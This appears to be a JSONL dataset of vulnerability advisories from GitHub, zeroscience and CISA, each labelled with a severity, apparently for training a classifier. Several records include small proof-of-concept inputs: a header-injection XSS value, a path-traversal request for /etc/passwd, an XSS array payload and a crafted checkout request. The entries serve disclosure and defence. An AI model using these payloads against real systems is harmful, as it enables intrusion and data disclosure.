-{"id": "7edc4b340a830819d242", "text": "io.ratpack:ratpack-core vulnerable to Improper Neutralization of Special Elements in Output ('Injection')\n\n## CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')\n\nVersions of Ratpack 0.9.1 through and including 1.7.4 are vulnerable to [HTTP Response Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting), \nif untrusted and unsanitized data is used to populate the headers of an HTTP response.\nAn attacker can utilize this vulnerability to have the server issue any HTTP response they specify.\n\nIf your application uses arbitrary user input as the value of a response header it is vulnerable.\nIf your application does not use arbitrary values as response header values, it is not vulnerable.\n\nPreviously, Ratpack did not validate response header values.\nNow, adding a header value that contains the header value termination characters (CRLF) produces a runtime exception.\nSince there is no mechanism for escaping or encoding the termination characters in a String, a runtime exception is necessary.\n\nAs potentially dangerous values now cause runtime exceptions, it is a good idea to continue to validate and sanitize any user-supplied values being used as response headers.\n\nWe would like to thank [Jonathan Leitschuh](https://github.com/JLLeitschuh) for reporting this vulnerability.\n\n### Vulnerable Example\n\nThe following example server uses a query parameter value as a response header, without validating or sanitizing it.\n```java\nRatpackServer startedServer =  RatpackServer.start(server -> {\n    server.handlers(chain -> chain.all(ctx -> {\n        // User supplied query parameter\n        String header = ctx.getRequest().getQueryParams().get(\"header\");\n        // User supplied data used to populate a header value.\n        ctx.header(\"the-header\", header)\n            .render(\"OK!\");\n    }));\n});\n```\n\nSending a request to the server with the following value for the `header` query param would allow the execution of arbitrary Javascript.\n\n```\nContent-Type: text/html\nX-XSS-Protection: 0\n\n<script>alert(document.domain)</script>\n```\n\n### Impact\n\n- Cross-User Defacement\n- Cache Poisoning\n- Cross-Site Scripting\n- Page Hijacking\n\n### Patches\n\nThis vulnerability has been patched in Ratpack version 1.7.5.\n\n### Root Cause\n\nThe root cause was due to using the netty `DefaultHttpHeaders` object with verification disabled.\n\nhttps://github.com/ratpack/ratpack/blob/af1e8c8590f164d7dd84d4212886fad4ead99080/ratpack-core/src/main/java/ratpack/server/internal/NettyHandlerAdapter.java#L159\n\nThis vulnerability is now more clearly documented in the Netty documentation: https://github.com/netty/netty/pull/9646\n\n### Workarounds\n\nThe workaround for this vulnerability is to either not use arbitrary input as response header values or validate such values before being used to ensure they don't contain a carriage return and/or line feed characters.\n\n### References\n\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')](https://cwe.mitre.org/data/definitions/113.html)\n - Fix commit: https://github.com/ratpack/ratpack/commit/efb910d38a96494256f36675ef0e5061097dd77d\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [ratpack/ratpack](https://github.com/ratpack/ratpack/issues)\n* Ask in our [Slack channel](https://slack-signup.ratpack.io/)", "text_raw": "io.ratpack:ratpack-core vulnerable to Improper Neutralization of Special Elements in Output ('Injection')\n\n[Severity: HIGH]\n\n## CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')\n\nVersions of Ratpack 0.9.1 through and including 1.7.4 are vulnerable to [HTTP Response Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting), \nif untrusted and unsanitized data is used to populate the headers of an HTTP response.\nAn attacker can utilize this vulnerability to have the server issue any HTTP response they specify.\n\nIf your application uses arbitrary user input as the value of a response header it is vulnerable.\nIf your application does not use arbitrary values as response header values, it is not vulnerable.\n\nPreviously, Ratpack did not validate response header values.\nNow, adding a header value that contains the header value termination characters (CRLF) produces a runtime exception.\nSince there is no mechanism for escaping or encoding the termination characters in a String, a runtime exception is necessary.\n\nAs potentially dangerous values now cause runtime exceptions, it is a good idea to continue to validate and sanitize any user-supplied values being used as response headers.\n\nWe would like to thank [Jonathan Leitschuh](https://github.com/JLLeitschuh) for reporting this vulnerability.\n\n### Vulnerable Example\n\nThe following example server uses a query parameter value as a response header, without validating or sanitizing it.\n```java\nRatpackServer startedServer =  RatpackServer.start(server -> {\n    server.handlers(chain -> chain.all(ctx -> {\n        // User supplied query parameter\n        String header = ctx.getRequest().getQueryParams().get(\"header\");\n        // User supplied data used to populate a header value.\n        ctx.header(\"the-header\", header)\n            .render(\"OK!\");\n    }));\n});\n```\n\nSending a request to the server with the following value for the `header` query param would allow the execution of arbitrary Javascript.\n\n```\nContent-Type: text/html\nX-XSS-Protection: 0\n\n<script>alert(document.domain)</script>\n```\n\n### Impact\n\n- Cross-User Defacement\n- Cache Poisoning\n- Cross-Site Scripting\n- Page Hijacking\n\n### Patches\n\nThis vulnerability has been patched in Ratpack version 1.7.5.\n\n### Root Cause\n\nThe root cause was due to using the netty `DefaultHttpHeaders` object with verification disabled.\n\nhttps://github.com/ratpack/ratpack/blob/af1e8c8590f164d7dd84d4212886fad4ead99080/ratpack-core/src/main/java/ratpack/server/internal/NettyHandlerAdapter.java#L159\n\nThis vulnerability is now more clearly documented in the Netty documentation: https://github.com/netty/netty/pull/9646\n\n### Workarounds\n\nThe workaround for this vulnerability is to either not use arbitrary input as response header values or validate such values before being used to ensure they don't contain a carriage return and/or line feed characters.\n\n### References\n\n - [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')](https://cwe.mitre.org/data/definitions/113.html)\n - Fix commit: https://github.com/ratpack/ratpack/commit/efb910d38a96494256f36675ef0e5061097dd77d\n \n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [ratpack/ratpack](https://github.com/ratpack/ratpack/issues)\n* Ask in our [Slack channel](https://slack-signup.ratpack.io/)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-21", "split": "train"}
-{"id": "43cc1bddd788ba393858", "text": "Directory Traversal in ritp\n\nAffected versions of `ritp` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in ritp\n\n[Severity: HIGH]\n\nAffected versions of `ritp` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-06", "split": "train"}
-{"id": "944963bf1468503535ef", "text": "Privilege Context Switching Error in Elasticsearch\n\nElasticsearch versions before 6.8.13 and 7.9.2 contain a document disclosure flaw when Document or Field Level Security is used. Search queries do not properly preserve security permissions when executing certain complex queries. This could result in the search disclosing the existence of documents the attacker should not be able to view. This could result in an attacker gaining additional insight into potentially sensitive indices.", "text_raw": "Privilege Context Switching Error in Elasticsearch\n\n[Severity: LOW]\n\nElasticsearch versions before 6.8.13 and 7.9.2 contain a document disclosure flaw when Document or Field Level Security is used. Search queries do not properly preserve security permissions when executing certain complex queries. This could result in the search disclosing the existence of documents the attacker should not be able to view. This could result in an attacker gaining additional insight into potentially sensitive indices.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-03-18", "split": "train"}
-{"id": "f5c0754ebe648b59f0b5", "text": "incomplete JupyterHub logout with simultaneous JupyterLab sessions\n\n### Impact\n\nUsers of JupyterLab with JupyterHub who have multiple JupyterLab tabs open in the same browser session, may see incomplete logout from the single-user server, as fresh credentials (for the single-user server only, not the Hub) reinstated after logout, if another active JupyterLab session is open while the logout takes place.\n\n### Patches\n\nUpgrade to JupyterHub 1.5. For distributed deployments, it is jupyterhub in the _user_ environment that needs patching. There are no patches necessary in the Hub environment.\n\n### Workarounds\n\nThe only workaround is to make sure that only one JupyterLab tab is open when you log out.", "text_raw": "incomplete JupyterHub logout with simultaneous JupyterLab sessions\n\n[Severity: MEDIUM]\n\n### Impact\n\nUsers of JupyterLab with JupyterHub who have multiple JupyterLab tabs open in the same browser session, may see incomplete logout from the single-user server, as fresh credentials (for the single-user server only, not the Hub) reinstated after logout, if another active JupyterLab session is open while the logout takes place.\n\n### Patches\n\nUpgrade to JupyterHub 1.5. For distributed deployments, it is jupyterhub in the _user_ environment that needs patching. There are no patches necessary in the Hub environment.\n\n### Workarounds\n\nThe only workaround is to make sure that only one JupyterLab tab is open when you log out.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-08", "split": "train"}
-{"id": "73e00a4b4656104ff6e7", "text": "CMSLogik 1.2.1 (upload_file_ajax()) Shell Upload Exploit", "text_raw": "CMSLogik 1.2.1 (upload_file_ajax()) Shell Upload Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2013-04-14", "split": "train"}
-{"id": "4066a9dd6a0f5a2cc8fb", "text": "Malicious Package in buffe2-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffe2-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "83f1fcb170b181844324", "text": "Cross-Site Scripting in nunjucks\n\nAffected versions of `nunjucks` do not properly escape specially structured user input in template vars when in auto-escape mode, resulting in a cross-site scripting vulnerability.\n\n## Proof of Concept\n\nBy using an array for the keys in a template var, escaping is bypassed.\n```javascript\nname[]=<script>alert(1)</script>\n```\n\nA full PoC is available in the references section.\n\n## Recommendation\n\nUpdate to version 2.4.3 or later.", "text_raw": "Cross-Site Scripting in nunjucks\n\n[Severity: MEDIUM]\n\nAffected versions of `nunjucks` do not properly escape specially structured user input in template vars when in auto-escape mode, resulting in a cross-site scripting vulnerability.\n\n## Proof of Concept\n\nBy using an array for the keys in a template var, escaping is bypassed.\n```javascript\nname[]=<script>alert(1)</script>\n```\n\nA full PoC is available in the references section.\n\n\n## Recommendation\n\nUpdate to version 2.4.3 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-06", "split": "train"}
-{"id": "88649da8622f696cca11", "text": "Command injection in samba-client\n\nThe samba-client package before 4.0.0 for Node.js allows command injection because of the use of process.exec.", "text_raw": "Command injection in samba-client\n\n[Severity: CRITICAL]\n\nThe samba-client package before 4.0.0 for Node.js allows command injection because of the use of process.exec.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-02-11", "split": "train"}
-{"id": "e8f97ce8f66654a99658", "text": "Aloaha Credential Provider Monitor 5.0.226 Local Privilege Escalation Vulnerability", "text_raw": "Aloaha Credential Provider Monitor 5.0.226 Local Privilege Escalation Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2013-01-20", "split": "train"}
-{"id": "0f776819f7aa6286eac5", "text": "Ability to change order address without triggering address validations in solidus\n\n### Impact\n\nThis vulnerability allows a malicious customer to craft request data with parameters that allow changing the address of the current order without changing the shipment costs associated with the new shipment.\n\nAll stores with at least two shipping zones and different costs of shipment per zone are impacted.\n\nE.g.\n1. Store admin configured the store so that there are two zones in US:\n-  East Cost Zone - Shipping Method cost: $1\n- West Cost Zone - Shipping Method cost: $10\n\nThe attacker user can know that shipping to NY is less expensive than to LA just by testing different addresses in checkout.\n\n2. The attacker user enters any NY shipping address in the address step\n3. The attacker user chooses the $1 delivery option\n4. The attacker user crafts a request with their real LA address, similar to:\n\n```\n// POST #checkout/update:\n\n{\n  state: 'payment',\n  order: {\n    ship_address_attributes: {\n      city: 'Los Angeles',\n      ...\n    }\n  }\n}\n```\n5. The attacker user proceeds with checking out with a new address and the $1 shipment costs.\n\nAnother scenario where this could be dangerous is:\n\n> You cannot ship products in some zones and you are relying on Solidus Shipping Method building only to filter out unwanted zones. Malicious users can enter an allowed zone's address and change back to an unwanted one in the payment step by crafting a request with some proper ship_address_attributes.\n\nThis problem comes from how checkout permitted attributes are structured. We have a single list of attributes that are permitted across the whole checkout, no matter the step that is being submitted.\n\n### Patches\n\nA PR has been attached to fix the security concern for each of all the Solidus supported versions following the rules of the [Solidus Security Policy](https://solidus.io/security).\n\n### Workarounds\n\nWhen it's not possible to upgrade to a supported patched version, please use this gist to patch the store:\n\nhttps://gist.github.com/kennyadsl/4618cd9797984cb64f7700a81bda889d", "text_raw": "Ability to change order address without triggering address validations in solidus\n\n[Severity: MEDIUM]\n\n### Impact\n\nThis vulnerability allows a malicious customer to craft request data with parameters that allow changing the address of the current order without changing the shipment costs associated with the new shipment.\n\nAll stores with at least two shipping zones and different costs of shipment per zone are impacted. \n\nE.g.\n1. Store admin configured the store so that there are two zones in US:\n-  East Cost Zone - Shipping Method cost: $1\n- West Cost Zone - Shipping Method cost: $10\n\nThe attacker user can know that shipping to NY is less expensive than to LA just by testing different addresses in checkout.\n\n2. The attacker user enters any NY shipping address in the address step\n3. The attacker user chooses the $1 delivery option\n4. The attacker user crafts a request with their real LA address, similar to:\n\n```\n// POST #checkout/update:\n\n{\n  state: 'payment',\n  order: {\n    ship_address_attributes: {\n      city: 'Los Angeles',\n      ...\n    }\n  }\n}\n```\n5. The attacker user proceeds with checking out with a new address and the $1 shipment costs.\n\nAnother scenario where this could be dangerous is:\n\n> You cannot ship products in some zones and you are relying on Solidus Shipping Method building only to filter out unwanted zones. Malicious users can enter an allowed zone's address and change back to an unwanted one in the payment step by crafting a request with some proper ship_address_attributes.\n\nThis problem comes from how checkout permitted attributes are structured. We have a single list of attributes that are permitted across the whole checkout, no matter the step that is being submitted.\n\n### Patches\n\nA PR has been attached to fix the security concern for each of all the Solidus supported versions following the rules of the [Solidus Security Policy](https://solidus.io/security).\n\n### Workarounds\n\nWhen it's not possible to upgrade to a supported patched version, please use this gist to patch the store:\n\nhttps://gist.github.com/kennyadsl/4618cd9797984cb64f7700a81bda889d", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-04", "split": "train"}
-{"id": "fa85ea3ca999a16ca75f", "text": "Incomplete validation in `tf.summary.create_file_writer`\n\n### Impact\nIf `tf.summary.create_file_writer` is called with non-scalar arguments code crashes due to a `CHECK`-fail.\n\n```python\nimport tensorflow as tf\nimport numpy as np\ntf.summary.create_file_writer(logdir='', flush_millis=np.ones((1,2)))\n```\n\n### Patches\nWe have patched the issue in GitHub commit [874bda09e6702cd50bac90b453b50bcc65b2769e](https://github.com/tensorflow/tensorflow/commit/874bda09e6702cd50bac90b453b50bcc65b2769e) (merging [#51715](https://github.com/tensorflow/tensorflow/pull/51715)).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46909).", "text_raw": "Incomplete validation in `tf.summary.create_file_writer`\n\n[Severity: MEDIUM]\n\n### Impact\nIf `tf.summary.create_file_writer` is called with non-scalar arguments code crashes due to a `CHECK`-fail.\n\n```python\nimport tensorflow as tf\nimport numpy as np\ntf.summary.create_file_writer(logdir='', flush_millis=np.ones((1,2)))\n```\n\n### Patches\nWe have patched the issue in GitHub commit [874bda09e6702cd50bac90b453b50bcc65b2769e](https://github.com/tensorflow/tensorflow/commit/874bda09e6702cd50bac90b453b50bcc65b2769e) (merging [#51715](https://github.com/tensorflow/tensorflow/pull/51715)).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46909).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "c714fbf590dfc5a49d73", "text": "Double free in containers\n\nUpon panic in a user-provided function f, fn mutate() & fn mutate2 drops twice a same object.\n\nAffected versions of this crate did not guard against double drop while temporarily duplicating an object's ownership with ptr::read().\n\nDropping a same object can result in memory corruption.\n\nThe flaw was corrected in version \"0.9.11\" by fixing the code to abort upon panic.", "text_raw": "Double free in containers\n\n[Severity: CRITICAL]\n\nUpon panic in a user-provided function f, fn mutate() & fn mutate2 drops twice a same object.\n\nAffected versions of this crate did not guard against double drop while temporarily duplicating an object's ownership with ptr::read().\n\nDropping a same object can result in memory corruption.\n\nThe flaw was corrected in version \"0.9.11\" by fixing the code to abort upon panic.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "449415682f2b403ede62", "text": "Ross Video DashBoard 8.5.1 Insecure Permissions", "text_raw": "Ross Video DashBoard 8.5.1 Insecure Permissions\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2019-04-23", "split": "train"}
-{"id": "d5521f105b2689fea3ba", "text": "Path Traversal in f-serv\n\nAll versions of `f-serv` are vulnerable to Path Traversal.  Due to insufficient input sanitization in URLs, attackers can access server files by using relative paths when fetching files.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Path Traversal in f-serv\n\n[Severity: CRITICAL]\n\nAll versions of `f-serv` are vulnerable to Path Traversal.  Due to insufficient input sanitization in URLs, attackers can access server files by using relative paths when fetching files. \n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "7d28bef458772dd7ff86", "text": "Links in archive can create arbitrary directories\n\nWhen unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point.", "text_raw": "Links in archive can create arbitrary directories\n\n[Severity: HIGH]\n\nWhen unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "14ba4891eadbff05ad49", "text": "Google Chromium V8 Improper Input Validation Vulnerability\n\nAffected: Google Chromium V8\n\nGoogle Chromium V8 Engine contains an improper input validation vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20, CWE-122\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Google Chromium V8 Improper Input Validation Vulnerability\n\nAffected: Google Chromium V8\n\nGoogle Chromium V8 Engine contains an improper input validation vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20, CWE-122\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "38c484774a951f811273", "text": "Local Privilege Escalation in npm\n\nAffected versions of `npm` use predictable temporary file names during archive unpacking. If an attacker can create a symbolic link at the location of one of these temporary file names, the attacker can arbitrarily write to any file that the user which owns the `npm` process has permission to write to, potentially resulting in local privilege escalation.\n\n## Recommendation\n\nUpdate to version 1.3.3 or later.", "text_raw": "Local Privilege Escalation in npm\n\n[Severity: LOW]\n\nAffected versions of `npm` use predictable temporary file names during archive unpacking. If an attacker can create a symbolic link at the location of one of these temporary file names, the attacker can arbitrarily write to any file that the user which owns the `npm` process has permission to write to, potentially resulting in local privilege escalation.\n\n\n\n## Recommendation\n\nUpdate to version 1.3.3 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "8f372fbd13d25d70485c", "text": "XXE in PHPSpreadsheet due to incomplete fix for previous encoding issue\n\nPHPOffice PhpSpreadsheet before 1.8.0 has an XXE issue. The XmlScanner decodes the sheet1.xml from an .xlsx to utf-8 if something else than UTF-8 is declared in the header. This was a security measurement to prevent CVE-2018-19277 but the fix is not sufficient. By double-encoding the the xml payload to utf-7 it is possible to bypass the check for the string ?<!ENTITY? and thus allowing for an xml external entity processing (XXE) attack.", "text_raw": "XXE in PHPSpreadsheet due to incomplete fix for previous encoding issue\n\n[Severity: HIGH]\n\nPHPOffice PhpSpreadsheet before 1.8.0 has an XXE issue. The XmlScanner decodes the sheet1.xml from an .xlsx to utf-8 if something else than UTF-8 is declared in the header. This was a security measurement to prevent CVE-2018-19277 but the fix is not sufficient. By double-encoding the the xml payload to utf-7 it is possible to bypass the check for the string ?<!ENTITY? and thus allowing for an xml external entity processing (XXE) attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-11-20", "split": "train"}
-{"id": "19d96111537219ee5203", "text": "Path traversal when using `preview-docs` when working dir contains files with question mark `?` in name\n\n### Impact\n`preview-docs` command allows path traversal if current working dir contains files with question mark `?` in name and attacker knows the name.\n\n### Patches\nIt was patched starting from 1.0.0-beta.59\n\n### Workarounds\nDo not run openapi-cli preview-docs command in the folder which contains files with question mark `?` in name.\n\n### References\nhttps://github.com/Redocly/openapi-cli/pull/347\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [@redocly/openapi-cli](https://github.com/Redocly/openapi-cli)\n* Email us at [security@redocly.com](mailto:security@redocly.com)", "text_raw": "Path traversal when using `preview-docs` when working dir contains files with question mark `?` in name\n\n[Severity: LOW]\n\n### Impact\n`preview-docs` command allows path traversal if current working dir contains files with question mark `?` in name and attacker knows the name.\n\n### Patches\nIt was patched starting from 1.0.0-beta.59\n\n### Workarounds\nDo not run openapi-cli preview-docs command in the folder which contains files with question mark `?` in name.\n\n### References\nhttps://github.com/Redocly/openapi-cli/pull/347\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [@redocly/openapi-cli](https://github.com/Redocly/openapi-cli)\n* Email us at [security@redocly.com](mailto:security@redocly.com)\n", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "467585f5f19c23a4987b", "text": "Malicious Package in regenrator\n\nAll versions of `regenrator` are considered malicious. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When executed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n## Recommendation\n\nThis package was published to the npm Registry for a very short period of time. If you happen to find it in your environment you should revoke and rotate all credentials  found on the compromised machine, as well as completely erase the affected machine and reinstall your Operating System.", "text_raw": "Malicious Package in regenrator\n\n[Severity: CRITICAL]\n\nAll versions of `regenrator` are considered malicious. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When executed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n\n## Recommendation\n\nThis package was published to the npm Registry for a very short period of time. If you happen to find it in your environment you should revoke and rotate all credentials  found on the compromised machine, as well as completely erase the affected machine and reinstall your Operating System.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "18e4d47b82377ac7c6a7", "text": "Memory corruption when returning a literal struct with a private call inside of it\n\n### Impact\n\nWhen performing a function call inside a literal struct, there is a memory corruption issue that occurs because of an incorrect pointer to the the top of the stack.\n\n### Patches\n0.3.0 / #2447\n\n*", "text_raw": "Memory corruption when returning a literal struct with a private call inside of it\n\n[Severity: HIGH]\n\n### Impact\n\nWhen performing a function call inside a literal struct, there is a memory corruption issue that occurs because of an incorrect pointer to the the top of the stack.\n\n### Patches\n0.3.0 / #2447\n\n*", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "aea3dfa55881c1bb79e4", "text": "Exposure of Sensitive Information to an Unauthorized Actor in Products.GenericSetup\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nInformation disclosure vulnerability - anonymous visitors may view log and snapshot files generated by the Generic Setup Tool.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nThe problem has been fixed in version 2.1.1. Depending on how you have installed Products.GenericSetup, you should change the buildout version pin to 2.1.1 and re-run the buildout, or if you used pip simply do pip install `\"Products.GenericSetup>=2.1.1\"`\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nVisit the ZMI Security tab at `portal_setup/manage_access` and click on the link _Access contents information_. On the next page, uncheck the box _Also use roles acquired from folders containing this objects_ at the bottom and check the boxes for _Manager_ and _Owner_. Then click on _Save Changes_. Return to the ZMI Security tab at `portal_setup/manage_access` and scroll down to the link _View_. Click on _View_, uncheck the box _Also use roles acquired from folders containing this objects_ at the bottom and check the boxes for _Manager_ and _Owner_. Then click on _Save Changes_.\n\n### References\n_Are there any links users can visit to find out more?_\n\n- [GHSA-jff3-mwp3-f8cw](https://github.com/zopefoundation/Products.GenericSetup/security/advisories/GHSA-jff3-mwp3-f8cw)\n- [Products.GenericSetup on PyPI](https://pypi.org/project/Products.GenericSetup/)\n- [Definition of information disclosure at MITRE](https://cwe.mitre.org/data/definitions/200.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [Products.GenericSetup issue tracker](https://github.com/zopefoundation/Products.GenericSetup/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in Products.GenericSetup\n\n[Severity: MEDIUM]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nInformation disclosure vulnerability - anonymous visitors may view log and snapshot files generated by the Generic Setup Tool.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nThe problem has been fixed in version 2.1.1. Depending on how you have installed Products.GenericSetup, you should change the buildout version pin to 2.1.1 and re-run the buildout, or if you used pip simply do pip install `\"Products.GenericSetup>=2.1.1\"`\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nVisit the ZMI Security tab at `portal_setup/manage_access` and click on the link _Access contents information_. On the next page, uncheck the box _Also use roles acquired from folders containing this objects_ at the bottom and check the boxes for _Manager_ and _Owner_. Then click on _Save Changes_. Return to the ZMI Security tab at `portal_setup/manage_access` and scroll down to the link _View_. Click on _View_, uncheck the box _Also use roles acquired from folders containing this objects_ at the bottom and check the boxes for _Manager_ and _Owner_. Then click on _Save Changes_. \n\n### References\n_Are there any links users can visit to find out more?_\n\n- [GHSA-jff3-mwp3-f8cw](https://github.com/zopefoundation/Products.GenericSetup/security/advisories/GHSA-jff3-mwp3-f8cw)\n- [Products.GenericSetup on PyPI](https://pypi.org/project/Products.GenericSetup/)\n- [Definition of information disclosure at MITRE](https://cwe.mitre.org/data/definitions/200.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [Products.GenericSetup issue tracker](https://github.com/zopefoundation/Products.GenericSetup/issues)\n* Email us at [security@plone.org](mailto:security@plone.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-09", "split": "train"}
-{"id": "c490474fc53424fcc99c", "text": "Downloads Resources over HTTP in webrtc-native\n\nAffected versions of `webrtc-native` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `webrtc-native`.\n\n## Recommendation\n\nNo direct patch is currently available for this vulnerability.\n\nHowever, if the native components of `webrtc-native` are built from source, this avoids download the precompiled binary, therefore mitigating the insecure download.\n\nThe package author has provided instructions for building from source [here](https://github.com/vmolsa/webrtc-native/wiki/Getting-started#building-from-source).", "text_raw": "Downloads Resources over HTTP in webrtc-native\n\n[Severity: HIGH]\n\nAffected versions of `webrtc-native` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `webrtc-native`.\n\n\n## Recommendation\n\nNo direct patch is currently available for this vulnerability. \n\nHowever, if the native components of `webrtc-native` are built from source, this avoids download the precompiled binary, therefore mitigating the insecure download. \n\nThe package author has provided instructions for building from source [here](https://github.com/vmolsa/webrtc-native/wiki/Getting-started#building-from-source).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "fc8a6f1f7c4d9a2bd6c8", "text": "HTTP Request Smuggling in Twisted\n\nIn Twisted Web through 20.3.0, there was an HTTP request splitting vulnerability. When presented with a content-length and a chunked encoding header, the content-length took precedence and the remainder of the request body was interpreted as a pipelined request.", "text_raw": "HTTP Request Smuggling in Twisted\n\n[Severity: CRITICAL]\n\nIn Twisted Web through 20.3.0, there was an HTTP request splitting vulnerability. When presented with a content-length and a chunked encoding header, the content-length took precedence and the remainder of the request body was interpreted as a pipelined request.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-03-31", "split": "train"}
